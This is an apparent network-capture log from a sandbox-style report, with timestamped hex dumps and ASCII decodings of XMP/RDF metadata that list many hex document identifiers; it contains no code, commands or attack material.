2022-04-08 08:02:42 UTC2216INData Raw: 34 45 32 46 33 38 46 41 39 39 32 41 34 35 45 36 34 30 38 46 44 33 38 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 37 36 37 37 43 34 42 34 34 43 39 33 46 38 32 43 34 33 43 39 34 30 35 38 38 39 45 43 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 38 32 37 39 35 33 37 35 33 38 37 30 31 30 36 38 36 43 39 36 44 33 33 30 42 36 36 41 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 38 39 31 44 34 38 32 38 39 30 41 37 45 41 44 46 42 39 44 38 33 30 30 44 32 37 38 36 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 38 39 33 37 42 32 39 45 31 41 43 31 43 34 30 34 45 34 38 35 41 32 33 41 45 45 45 39 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 38 39 35 34 36 38 31 33 35
Data Ascii: 4E2F38FA992A45E6408FD3897D</rdf:li> <rdf:li>3E7677C4B44C93F82C43C9405889ECDB</rdf:li> <rdf:li>3E82795375387010686C96D330B66AB2</rdf:li> <rdf:li>3E891D482890A7EADFB9D8300D27862A</rdf:li> <rdf:li>3E8937B29E1AC1C404E485A23AEEE9AD</rdf:li> <rdf:li>3E895468135
2022-04-08 08:02:42 UTC2223INData Raw: 35 42 39 39 41 45 35 31 31 30 31 45 43 44 39 32 36 43 41 41 44 33 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 41 36 43 43 30 32 32 43 30 32 34 45 39 33 34 33 45 30 38 30 45 32 35 38 31 39 45 33 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 43 38 35 43 34 36 46 31 32 41 38 38 45 34 43 42 43 34 39 42 41 36 37 45 43 45 38 36 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 44 32 37 44 31 39 45 39 30 36 35 41 35 46 35 31 38 33 38 36 30 45 34 31 36 36 34 43 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 44 38 43 31 31 36 36 31 32 35 44 30 45 32 38 39 46 44 33 35 30 43 41 41 43 44 35 38 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 44 45 37 44 39 42 44 34 33 36 45
Data Ascii: 5B99AE51101ECD926CAAD3B3</rdf:li> <rdf:li>44A6CC022C024E9343E080E25819E384</rdf:li> <rdf:li>44C85C46F12A88E4CBC49BA67ECE8682</rdf:li> <rdf:li>44D27D19E9065A5F5183860E41664CB5</rdf:li> <rdf:li>44D8C1166125D0E289FD350CAACD58AA</rdf:li> <rdf:li>44DE7D9BD436E
2022-04-08 08:02:42 UTC2231INData Raw: 41 35 30 45 33 36 37 38 34 45 44 43 37 39 30 39 39 32 30 42 44 32 46 46 33 44 37 36 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 45 36 46 37 43 37 39 43 35 41 38 43 36 32 41 34 45 37 32 46 31 36 45 32 43 37 41 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 46 46 41 35 43 33 42 44 42 45 39 30 41 33 44 46 46 39 39 35 31 44 36 46 46 45 33 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 42 34 39 37 41 32 36 41 34 41 43 32 32 33 31 46 39 33 34 45 38 36 41 37 33 33 42 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 43 38 31 42 33 31 33 43 36 44 44 33 39 41 46 37 41 36 43 37 34 32 35 36 30 42 30 39 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 45 41 32 44 33
Data Ascii: A50E36784EDC7909920BD2FF3D7655</rdf:li> <rdf:li>4AAE6F7C79C5A8C62A4E72F16E2C7A7C</rdf:li> <rdf:li>4AAFFA5C3BDBE90A3DFF9951D6FFE397</rdf:li> <rdf:li>4AB497A26A4AC2231F934E86A733BEAA</rdf:li> <rdf:li>4AC81B313C6DD39AF7A6C742560B09FE</rdf:li> <rdf:li>4AEA2D3
2022-04-08 08:02:42 UTC2247INData Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 37 36 34 38 30 35 41 35 45 39 34 37 38 33 46 46 30 36 45 45 42 37 35 44 43 31 42 39 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 38 36 33 37 37 35 42 46 45 44 30 34 39 36 36 44 43 32 32 39 42 41 44 33 35 39 35 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 39 36 41 34 37 44 32 45 31 46 43 36 33 34 32 42 39 42 37 43 43 37 37 35 41 46 39 33 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 42 44 31 45 35 39 37 44 33 44 38 41 41 30 41 43 46 39 45 37 34 46 31 43 32 42 39 31 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 38 43 34 41 38 42 32 42 43 37 39 36 34 42 46 44 32 46 33 32 38 31 36 44 42 37 38 36 43 33 33 3c 2f 72 64 66 3a 6c 69 3e
Data Ascii: f:li> <rdf:li>58764805A5E94783FF06EEB75DC1B94A</rdf:li> <rdf:li>58863775BFED04966DC229BAD3595915</rdf:li> <rdf:li>5896A47D2E1FC6342B9B7CC775AF93F4</rdf:li> <rdf:li>58BD1E597D3D8AA0ACF9E74F1C2B91B2</rdf:li> <rdf:li>58C4A8B2BC7964BFD2F32816DB786C33</rdf:li>
2022-04-08 08:02:42 UTC2263INData Raw: 20 3c 72 64 66 3a 6c 69 3e 36 37 33 42 31 36 31 35 41 42 32 33 43 36 42 43 39 36 32 38 46 34 46 39 45 36 43 45 30 31 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 34 32 35 36 44 36 44 37 31 44 46 34 42 32 38 38 44 39 38 43 43 43 35 41 43 39 33 43 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 34 38 33 38 45 39 46 30 31 37 44 43 44 36 38 39 37 44 45 42 30 35 38 46 42 42 38 31 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 35 30 45 35 39 46 42 45 31 30 42 41 34 45 31 34 45 43 37 37 46 36 38 39 35 44 38 34 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 37 36 32 41 37 34 32 44 42 30 31 35 45 42 32 38 32 34 33 39 42 43 39 38 44 46 45 45 44 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66
Data Ascii: <rdf:li>673B1615AB23C6BC9628F4F9E6CE012C</rdf:li> <rdf:li>674256D6D71DF4B288D98CCC5AC93CAE</rdf:li> <rdf:li>674838E9F017DCD6897DEB058FBB81D6</rdf:li> <rdf:li>6750E59FBE10BA4E14EC77F6895D8416</rdf:li> <rdf:li>6762A742DB015EB282439BC98DFEEDD7</rdf:li> <rdf
2022-04-08 08:02:42 UTC2271INData Raw: 72 64 66 3a 6c 69 3e 36 44 44 44 39 45 43 45 36 34 41 43 30 34 33 44 39 35 41 43 32 38 42 38 38 35 35 41 45 42 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 35 34 35 39 45 44 42 37 39 37 43 41 41 41 41 38 35 38 43 30 37 35 36 34 35 38 37 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 38 46 41 34 44 32 34 35 31 33 32 44 46 32 35 33 41 39 30 32 32 33 34 43 35 46 36 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 41 43 45 46 36 44 35 30 42 46 41 43 41 45 35 45 41 43 43 37 31 32 45 31 35 39 45 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 31 30 38 43 35 38 41 41 42 39 41 45 36 45 37 34 39 38 44 41 37 42 41 33 36 35 37 43 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c
Data Ascii: rdf:li>6DDD9ECE64AC043D95AC28B8855AEB01</rdf:li> <rdf:li>6E05459EDB797CAAAA858C07564587A8</rdf:li> <rdf:li>6E08FA4D245132DF253A902234C5F621</rdf:li> <rdf:li>6E0ACEF6D50BFACAE5EACC712E159EBA</rdf:li> <rdf:li>6E108C58AAB9AE6E7498DA7BA3657CBF</rdf:li> <rdf:l
2022-04-08 08:02:42 UTC2287INData Raw: 41 31 30 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 30 37 46 43 39 37 32 36 44 43 43 38 39 31 36 32 45 46 33 37 44 35 32 35 39 41 39 31 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 30 46 43 37 38 33 38 41 30 35 44 42 41 43 41 30 44 34 33 44 39 46 37 45 44 44 33 45 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 31 31 31 31 34 32 31 38 32 39 43 33 34 30 35 39 34 46 39 31 44 34 31 45 37 42 34 41 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 32 31 36 44 46 32 30 33 36 46 30 30 38 38 44 37 45 31 43 43 39 46 39 34 42 44 45 36 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 32 45 44 36 31 42 44 32 35 31 41 42 36 44 32 39 36 31 36 45 43 34 34 31 43 38 39 37 33 34
Data Ascii: A103E</rdf:li> <rdf:li>7C07FC9726DCC89162EF37D5259A91FB</rdf:li> <rdf:li>7C0FC7838A05DBACA0D43D9F7EDD3EBB</rdf:li> <rdf:li>7C1111421829C340594F91D41E7B4A97</rdf:li> <rdf:li>7C216DF2036F0088D7E1CC9F94BDE610</rdf:li> <rdf:li>7C2ED61BD251AB6D29616EC441C89734
2022-04-08 08:02:42 UTC2303INData Raw: 34 45 32 46 45 35 38 46 35 41 37 33 43 33 46 42 38 42 44 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 44 32 35 31 35 39 42 34 46 39 39 45 44 37 36 45 35 36 42 43 31 38 31 42 30 36 33 35 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 45 39 32 46 38 37 41 37 41 30 45 46 41 33 41 36 30 34 39 44 43 44 34 43 45 42 31 39 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 46 30 32 38 41 45 30 30 43 35 41 37 39 44 38 32 46 31 34 42 41 37 44 33 44 44 34 32 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 46 32 32 31 35 36 34 45 46 38 35 37 36 34 44 38 43 32 37 32 38 41 41 30 31 41 46 30 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 46 33 39 38 43 32 41 32 39 32 39 37 42 36
Data Ascii: 4E2FE58F5A73C3FB8BD5B</rdf:li> <rdf:li>88D25159B4F99ED76E56BC181B0635DA</rdf:li> <rdf:li>88E92F87A7A0EFA3A6049DCD4CEB1992</rdf:li> <rdf:li>88F028AE00C5A79D82F14BA7D3DD4283</rdf:li> <rdf:li>88F221564EF85764D8C2728AA01AF0BC</rdf:li> <rdf:li>88F398C2A29297B6
2022-04-08 08:02:42 UTC2311INData Raw: 41 33 37 33 45 39 38 30 46 43 35 42 31 46 41 31 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 39 35 42 39 43 42 33 41 30 34 31 37 34 34 41 44 38 38 39 46 33 38 41 39 39 35 43 42 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 32 32 32 37 34 41 35 36 36 30 39 43 33 45 35 46 32 43 38 32 42 46 32 45 43 30 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 42 37 38 36 35 38 37 45 38 32 31 46 30 38 41 30 43 38 43 42 30 36 46 44 36 34 44 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 42 43 42 44 31 39 46 43 41 34 44 33 31 37 38 37 39 32 34 44 36 45 33 43 39 35 35 38 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 44 43 38 31 35 46 42 42 33 33 45 35 45 38 44 37
Data Ascii: A373E980FC5B1FA16C4</rdf:li> <rdf:li>8F95B9CB3A041744AD889F38A995CB45</rdf:li> <rdf:li>8FA22274A56609C3E5F2C82BF2EC09B8</rdf:li> <rdf:li>8FAB786587E821F08A0C8CB06FD64D9F</rdf:li> <rdf:li>8FBCBD19FCA4D31787924D6E3C955886</rdf:li> <rdf:li>8FDC815FBB33E5E8D7
2022-04-08 08:02:42 UTC2327INData Raw: 45 30 36 37 41 42 34 30 31 41 36 33 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 41 32 39 30 42 41 32 35 34 31 39 42 38 39 37 33 34 39 37 30 41 39 41 44 34 45 45 34 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 42 31 46 41 37 34 33 33 34 38 46 34 44 33 43 34 31 45 41 46 35 36 37 41 30 35 46 31 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 42 36 44 37 38 34 45 34 32 30 34 44 44 42 38 39 34 43 43 31 32 45 43 38 46 46 46 42 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 42 45 30 38 34 37 44 32 44 38 37 44 44 32 34 44 41 33 32 42 33 31 31 34 41 33 41 30 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 42 45 42 31 36 42 41 33 38 39 32 39 41 44 31 41 45 45 35 45 33
Data Ascii: E067AB401A639C</rdf:li> <rdf:li>9DA290BA25419B89734970A9AD4EE44D</rdf:li> <rdf:li>9DB1FA743348F4D3C41EAF567A05F10E</rdf:li> <rdf:li>9DB6D784E4204DDB894CC12EC8FFFB74</rdf:li> <rdf:li>9DBE0847D2D87DD24DA32B3114A3A059</rdf:li> <rdf:li>9DBEB16BA38929AD1AEE5E3
2022-04-08 08:02:42 UTC2343INData Raw: 46 30 31 46 34 41 32 39 38 46 34 41 31 36 34 38 42 41 45 30 30 38 33 33 42 31 46 31 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 30 35 36 44 41 46 35 30 45 33 31 38 35 31 34 46 32 30 38 35 42 36 37 42 36 38 33 39 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 34 39 30 45 33 43 44 32 36 36 38 43 39 43 44 35 35 32 33 42 43 32 35 32 43 38 37 31 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 35 42 30 32 45 34 32 44 41 32 46 33 42 33 41 46 46 37 44 32 43 43 36 31 44 36 43 44 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 35 43 32 35 39 43 39 37 33 31 38 45 42 31 30 37 42 36 33 38 41 31 45 31 42 32 30 46 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 37 30 32 31 36
Data Ascii: F01F4A298F4A1648BAE00833B1F182</rdf:li> <rdf:li>AB056DAF50E318514F2085B67B683903</rdf:li> <rdf:li>AB490E3CD2668C9CD5523BC252C8712C</rdf:li> <rdf:li>AB5B02E42DA2F3B3AFF7D2CC61D6CDA4</rdf:li> <rdf:li>AB5C259C97318EB107B638A1E1B20FCE</rdf:li> <rdf:li>AB70216
2022-04-08 08:02:42 UTC2351INData Raw: 38 46 31 39 42 42 36 31 37 39 42 37 44 38 35 45 36 35 43 39 37 38 43 32 39 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 33 44 30 45 33 34 32 43 34 35 33 41 35 45 43 39 34 37 45 43 32 37 44 38 37 42 41 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 41 46 38 44 33 37 37 36 41 43 30 32 37 44 39 43 32 33 42 37 41 33 41 44 32 45 31 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 45 32 30 45 41 39 35 44 34 42 36 30 41 33 33 36 30 43 31 37 46 44 43 34 41 43 30 37 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 45 37 33 36 42 38 45 39 43 34 41 33 34 43 33 35 32 41 39 34 46 46 35 46 43 31 37 32 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 45 38 34 42 34 32 31
Data Ascii: 8F19BB6179B7D85E65C978C29E09</rdf:li> <rdf:li>B1D3D0E342C453A5EC947EC27D87BA7B</rdf:li> <rdf:li>B1DAF8D3776AC027D9C23B7A3AD2E193</rdf:li> <rdf:li>B1E20EA95D4B60A3360C17FDC4AC07C1</rdf:li> <rdf:li>B1E736B8E9C4A34C352A94FF5FC17226</rdf:li> <rdf:li>B1E84B421
2022-04-08 08:02:42 UTC2358INData Raw: 69 3e 42 38 36 42 44 45 34 37 35 35 34 36 42 31 36 34 35 41 43 37 43 45 31 36 32 39 44 36 34 35 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 37 34 31 32 42 35 37 32 38 33 43 32 32 46 43 41 44 41 32 44 36 36 46 32 43 31 42 45 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 37 43 36 34 43 31 44 34 43 43 37 33 35 37 38 34 46 33 39 31 36 33 30 31 45 42 41 30 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 38 32 31 45 42 35 42 35 41 30 45 38 34 44 43 38 35 33 45 42 44 33 33 35 46 39 39 44 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 38 43 30 33 33 46 38 35 36 41 34 39 45 34 30 36 32 30 37 35 42 38 30 46 41 32 37 46 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 39
Data Ascii: i>B86BDE475546B1645AC7CE1629D64516</rdf:li> <rdf:li>B87412B57283C22FCADA2D66F2C1BE82</rdf:li> <rdf:li>B87C64C1D4CC735784F3916301EBA00F</rdf:li> <rdf:li>B8821EB5B5A0E84DC853EBD335F99DD0</rdf:li> <rdf:li>B88C033F856A49E4062075B80FA27FD1</rdf:li> <rdf:li>B89
2022-04-08 08:02:42 UTC2374INData Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 36 35 30 43 37 37 35 30 34 31 42 36 45 34 43 46 44 45 42 34 37 31 37 46 44 33 41 30 42 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 36 35 31 41 30 43 41 38 31 32 44 32 30 46 45 44 41 31 42 38 45 30 38 37 38 42 44 34 46 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 36 36 41 45 43 34 39 31 45 32 46 34 34 41 30 32 37 32 32 45 42 39 44 43 35 46 45 37 36 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 36 37 46 32 44 39 35 45 42 34 42 42 37 41 45 35 32 42 46 35 37 38 42 38 45 46 36 30 38 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 36 42 31 43 32 31 37 34 45 31 42 30 43 41 45 39 36 46 31 36 31 33 33 46 46 44 44 33 39 31 38 3c 2f 72 64 66
Data Ascii: </rdf:li> <rdf:li>C650C775041B6E4CFDEB4717FD3A0B81</rdf:li> <rdf:li>C651A0CA812D20FEDA1B8E0878BD4F11</rdf:li> <rdf:li>C66AEC491E2F44A02722EB9DC5FE7688</rdf:li> <rdf:li>C67F2D95EB4BB7AE52BF578B8EF60858</rdf:li> <rdf:li>C6B1C2174E1B0CAE96F16133FFDD3918</rdf
2022-04-08 08:02:42 UTC2649INData Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 33 37 32 45 39 34 42 32 33 30 34 33 42 42 36 37 41 37 34 38 37 42 36 38 31 34 43 46 45 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 33 37 36 30 35 41 41 30 33 41 34 31 39 43 31 45 46 36 33 45 44 35 32 46 43 32 37 42 45 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 33 37 38 39 32 37 41 37 43 43 30 33 46 38 41 32 36 31 45 35 43 31 32 31 38 30 38 31 32 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 33 38 35 41 31 46 36 34 44 46 32 34 43 44 37 31 37 35 31 38 46 42 32 42 38 32 39 41 43 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 33 41 30 43 37 41 41 34 36 32 39 36 30 30 38 35 45 36 37 33 35 42 41 34 45 45 33 30 43 35 39 3c 2f 72 64 66 3a 6c 69 3e 20
Data Ascii: :li> <rdf:li>D372E94B23043BB67A7487B6814CFE4C</rdf:li> <rdf:li>D37605AA03A419C1EF63ED52FC27BE15</rdf:li> <rdf:li>D378927A7CC03F8A261E5C121808122A</rdf:li> <rdf:li>D385A1F64DF24CD717518FB2B829AC00</rdf:li> <rdf:li>D3A0C7AA462960085E6735BA4EE30C59</rdf:li>
2022-04-08 08:02:42 UTC2657INData Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 46 43 33 35 37 30 43 37 36 42 38 33 37 45 32 42 46 41 35 31 41 32 43 38 35 32 35 30 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 30 35 31 34 45 38 30 33 35 46 39 39 43 41 36 32 39 45 32 33 43 44 41 44 43 33 44 39 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 30 35 43 39 36 41 34 33 44 39 38 35 43 33 42 31 41 30 31 46 44 34 35 39 42 36 38 31 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 30 41 41 44 46 39 45 31 31 32 38 30 42 34 34 39 32 41 45 45 33 44 31 43 45 33 42 37 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 30 43 41 37 41 44 44 44 41 45 44 39 34 33 44 45 46 37 38 35 31 34 44 45 45 36 44 44 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72
Data Ascii: i> <rdf:li>D9FC3570C76B837E2BFA51A2C8525024</rdf:li> <rdf:li>DA0514E8035F99CA629E23CDADC3D957</rdf:li> <rdf:li>DA05C96A43D985C3B1A01FD459B68191</rdf:li> <rdf:li>DA0AADF9E11280B4492AEE3D1CE3B773</rdf:li> <rdf:li>DA0CA7ADDDAED943DEF78514DEE6DD4D</rdf:li> <r
2022-04-08 08:02:42 UTC2673INData Raw: 31 35 36 32 35 31 39 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 38 42 33 33 35 37 42 41 34 46 43 35 43 45 38 35 38 43 35 42 45 39 34 31 38 45 31 31 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 39 31 45 32 46 39 36 37 43 35 45 41 33 39 37 33 32 39 45 43 35 46 31 44 33 44 33 45 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 39 33 41 34 41 38 30 44 45 31 38 42 46 46 35 43 31 39 30 31 45 31 35 32 44 43 35 41 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 39 35 38 45 39 36 44 33 41 41 43 32 41 34 45 44 45 30 30 32 43 37 30 38 34 30 42 33 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 41 35 33 30 36 31 38 46 35 33 46 46 39 38 45 44 33 43 32 38 41 45 31 32 31 46
Data Ascii: 15625190F</rdf:li> <rdf:li>E78B3357BA4FC5CE858C5BE9418E11B5</rdf:li> <rdf:li>E791E2F967C5EA397329EC5F1D3D3E36</rdf:li> <rdf:li>E793A4A80DE18BFF5C1901E152DC5AD7</rdf:li> <rdf:li>E7958E96D3AAC2A4EDE002C70840B316</rdf:li> <rdf:li>E7A530618F53FF98ED3C28AE121F
2022-04-08 08:02:42 UTC2689INData Raw: 30 41 30 41 32 33 34 44 36 30 35 44 31 36 32 41 42 41 46 30 33 46 38 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 45 45 33 33 33 43 32 35 36 43 33 35 46 46 43 37 34 42 43 33 35 39 42 45 30 36 38 33 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 30 33 34 42 46 30 38 37 33 45 45 42 43 44 41 37 44 41 33 42 42 32 44 34 41 43 34 37 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 30 37 42 35 34 32 46 42 36 30 30 46 34 36 30 39 38 42 30 38 44 46 43 35 41 35 30 30 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 31 39 35 33 32 32 35 32 35 33 41 46 43 32 30 44 46 36 43 31 46 31 42 31 30 37 44 33 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 31 42 34 38 44 37 41 33 38 34
Data Ascii: 0A0A234D605D162ABAF03F89F</rdf:li> <rdf:li>F2EE333C256C35FFC74BC359BE0683B6</rdf:li> <rdf:li>F3034BF0873EEBCDA7DA3BB2D4AC4759</rdf:li> <rdf:li>F307B542FB600F46098B08DFC5A500A8</rdf:li> <rdf:li>F31953225253AFC20DF6C1F1B107D326</rdf:li> <rdf:li>F31B48D7A384
2022-04-08 08:02:42 UTC2696INData Raw: 33 42 37 45 33 33 38 44 42 38 30 45 46 34 30 34 44 35 42 39 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 36 39 33 46 38 44 32 43 35 35 37 44 33 41 44 37 42 41 33 30 39 34 37 43 33 34 39 34 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 37 45 42 33 38 46 36 35 36 36 45 36 31 35 37 43 45 36 35 36 43 31 42 30 46 33 41 38 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 38 31 30 42 35 33 36 43 32 45 34 41 41 44 30 39 41 42 41 45 37 44 44 35 31 36 44 39 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 38 42 32 34 42 45 36 39 31 32 38 34 41 30 31 39 30 42 46 33 36 39 45 45 31 42 36 39 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 39 45 30 42 33 32 30 34 31 37 44 32
Data Ascii: 3B7E338DB80EF404D5B9915</rdf:li> <rdf:li>F9693F8D2C557D3AD7BA30947C3494BD</rdf:li> <rdf:li>F97EB38F6566E6157CE656C1B0F3A8F6</rdf:li> <rdf:li>F9810B536C2E4AAD09ABAE7DD516D91A</rdf:li> <rdf:li>F98B24BE691284A0190BF369EE1B690F</rdf:li> <rdf:li>F99E0B320417D2
